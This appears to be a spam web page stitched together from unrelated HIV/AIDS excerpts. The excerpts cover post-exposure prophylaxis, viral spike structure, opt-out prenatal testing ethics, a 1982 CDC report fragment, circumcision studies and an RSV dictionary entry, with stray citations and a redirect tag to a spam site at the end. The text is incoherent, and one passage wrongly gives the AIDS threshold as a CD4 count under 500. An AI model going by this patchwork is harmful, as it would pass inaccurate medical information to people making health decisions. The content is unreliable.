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If you believe you have been exposed to HIV, seek medical attention IMMEDIATELY. There is some evidence that an immediate course of anti-viral drugs can reduce the chances that you will be infected. This is called post-exposure prophylaxis (PEP), and it has been used to treat health care workers injured by needlesticks for years.

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The molecular structure of the viral spike has now been determined by X-ray crystallography[29] and cryo-electron microscopy.[30] These advances in structural biology were made possible due to the development of stable recombinant forms of the viral spike by the introduction of an intersubunit disulphide bond an isoleucine to proline mutation in gp41.[31] The so-called SOSIP trimers not only reproduce the antigenic properties of the native viral spike but also display the same degree of immature glycans as presented on the native virus.[32] Recombinant trimeric viral spikes are promising vaccine candidates as they display less non-neutralising epitopes than recombinant monomeric gp120, which act to suppress the immune response to target epitopes.[33]

Without treatment, human immunodeficiency virus (HIV) infection will usually result in acquired immune deficiency syndrome (AIDS). However, in Australia the HIV therapies introduced in the mid-1990s, which are available to all Australians living with HIV, have resulted in fewer AIDS related illnesses and deaths. Therefore, whilst a cure is yet to be found for HIV and it remains a lifelong infection, HIV in Australia is now considered a chronic manageable condition.

Burgard M, Jasseron C, Matheron S, et al. Mother-to-child transmission of HIV-2 infection from 1986 to 2007 in the ANRS French Perinatal Cohort EPF-CO1. Clin Infect Dis. 2010 Oct 1. 51(7):833-43. [Medline].

Opt-out testing removes the requirement for pretest counseling and detailed, testing-related informed consent. Under the opt-out strategy, physicians must inform patients that routine blood work will include HIV testing and that they have the right to refuse this test. The goal of this strategy is to make HIV testing less cumbersome and more likely to be performed by incorporating it into the routine battery of tests (eg, the first-trimester prenatal panel or blood counts and cholesterol screening for annual examinations). In theory, if testing barriers are reduced, more physicians may offer testing, which may lead to the identification and treatment of more women who are infected with HIV and, if pregnant, to the prevention of mother-to-infant transmission of HIV. This testing strategy aims to balance competing ethical considerations. On the one hand, personal freedom (autonomy) is diminished. On the other hand, there are medical and social benefits for the woman and, if she is pregnant, her newborn from identifying HIV infection. Although many welcome the now widely endorsed opt-out testing policy for the potential benefits it confers, others have raised concerns about the possibility that the requirement for notification before testing will be ignored, particularly in today’s busy practice environment. Indeed, the opt-out strategy is an ethically acceptable testing strategy only if the patient is given the option to refuse testing. In the absence of that notification, this approach is merely mandatory testing in disguise. If opt-out testing is elected as a testing strategy, a clinician must notify the patient that HIV testing is to be performed. Refusal of testing should not have an adverse effect on the care the patient receives or lead to denial of health care. This guarantee of a right to refuse testing ensures that respect for a woman’s autonomy is not completely abridged in the quest to achieve a difficult-to-reach public health goal.

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Richman, Douglas D., David M. Margolis, Martin Delaney, Warner C. Greene, Daria Hazuda, Roger J. Pomerantz. “The Challenge of Finding a Cure for HIV Infection.” Science 323.5919 Mar. 6, 2009: 1304-1307.

Creswell JD, Myers HF, Cole SW, Irwin MR. Mindfulness meditation training effects on CD4+ T lymphocytes in HIV-1 infected adults: a small randomized controlled trial. Brain Behav Immun. 2009 Feb. 23(2):184-8. [Medline]. [Full Text].

Some people may develop a flu-like illness within a month or two after exposure to the HIV virus, although many people do not develop any symptoms at all when they first become infected. Many people mistake this flu-like illness as being caused by something else. Persistent or severe symptoms may not surface for 10 years or more, after HIV first enters the body in adults, or within two years in children born with an HIV infection.

CDC. Diffuse, undifferentiated non-Hodgkins lymphoma among homosexual males–United States. MMWR 1982;31:277-9. *Formerly referred to as Kaposi’s sarcoma and opportunistic infections in previously healthy persons. (1) **A third hemophiliac with pneumocystosis exceeded the 60-year age limit of the AIDS case definition. ((S))These infections include pneumonia, meningitis, or encephalitis due to one or more of the following: aspergillosis, candidiasis, cryptococcosis, cytomegalovirus, nocardiosis, strongyloidosis, toxoplasmosis, zygomycosis, or atypical mycobacteriosis (species other than tuberculosis or lepra); esophagitis due to candidiasis, cytomegalovirus, or herpes simplex virus; progressive multifocal leukoencephalopathy; chronic enterocolitis (more than 4 weeks) due to cryptosporidiosis; or unusually extensive mucocutaneous herpes simplex of more than 5 weeks duration. ((P))CDC encourages reports of any cancer among persons with AIDS and of selected rare lymphomas (Burkitt’s or diffuse, undifferentiated non-Hodgkins lymphoma) among persons with a risk factor for AIDS. This differs from the request for reports of AIDS cases regardless of the absence of risk factors.

After the virus enters the body there is a period of rapid viral replication, leading to an abundance of virus in the peripheral blood. During primary infection, the level of HIV may reach several million virus particles per milliliter of blood.[95] This response is accompanied by a marked drop in the number of circulating CD4+ T cells. The acute viremia is almost invariably associated with activation of CD8+ T cells, which kill HIV-infected cells, and subsequently with antibody production, or seroconversion. The CD8+ T cell response is thought to be important in controlling virus levels, which peak and then decline, as the CD4+ T cell counts recover. A good CD8+ T cell response has been linked to slower disease progression and a better prognosis, though it does not eliminate the virus.[96]

“PrEP is feasible and effective for African women in discordant relationships with high adherence and has a significant impact on reducing new HIV infections..”–Dr. William Blattner, JAIDS Co-Editor-in-Chief

simian-human immunodeficiency virus a chimeric, engineered virus with the envelope of human immunodeficiency virus and the cytoplasm and nucleus of simian immunodeficiency virus; it is used in animal models because it is a better mimic of HIV than SIV is.

AIDS is the later stage of HIV infection, when the body is losing T cells and its ability to fight infections. Once the CD4 cell count falls low enough (under 500 cells/mL), an infected person is said to have AIDS or HIV disease. Sometimes, the diagnosis of AIDS is made because the person has unusual infections or cancers that signal how weak the immune system is.

There also appears to be an increased rate of anal cancer in high-risk groups (in particular, men who have sex with men). This is unsurprising considering the link between anal cancer and human papillomavirus (HPV), and the fact that cervical cancer, also caused by HPV, is considered an AIDS-defining condition. [70]

Circumcision in Sub-Saharan Africa “reduces the acquisition of HIV by heterosexual men by between 38% and 66% over 24 months”.[115] Due to these studies, both the World Health Organization and UNAIDS recommended male circumcision as a method of preventing female-to-male HIV transmission in 2007 in areas with a high rates of HIV.[116] However, whether it protects against male-to-female transmission is disputed,[117][118] and whether it is of benefit in developed countries and among men who have sex with men is undetermined.[119][120][121] The International Antiviral Society, however, does recommend for all sexually active heterosexual males and that it be discussed as an option with men who have sex with men.[122] Some experts fear that a lower perception of vulnerability among circumcised men may cause more sexual risk-taking behavior, thus negating its preventive effects.[123]

Nesheim SR, Kapogiannis BG, Soe MM, et al. Trends in opportunistic infections in the pre- and post-highly active antiretroviral therapy eras among HIV-infected children in the Perinatal AIDS Collaborative Transmission Study, 1986-2004. Pediatrics. 2007 Jul. 120(1):100-9. [Medline].

respiratory syncytial virus (RSV) any of a genus of single-stranded paramyxoviruses; the name is derived from the type of disease produced (respiratory infection) and the microscopic appearance of the viruses in cell cultures. RSV can cause a wide variety of respiratory disorders ranging from a mild cold to serious or even fatal disease of the lung in the very young and very old. It regularly produces an outbreak of infection each winter and virtually disappears in the summer months. The most severe infections in children are in the very young, especially those who are preterm, immunologically compromised, or suffering from a congenital heart defect or preexisting lung disorder. Adults at risk for infection include parents and others who are repeatedly exposed to young children, for example, pediatric nurses and day care attendants. The course of infection tends to be milder in adults than in children and about 15 per cent of affected adults have no symptoms. In the very elderly these infections may have the same degree of seriousness and clinical manifestations as in the very young. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]

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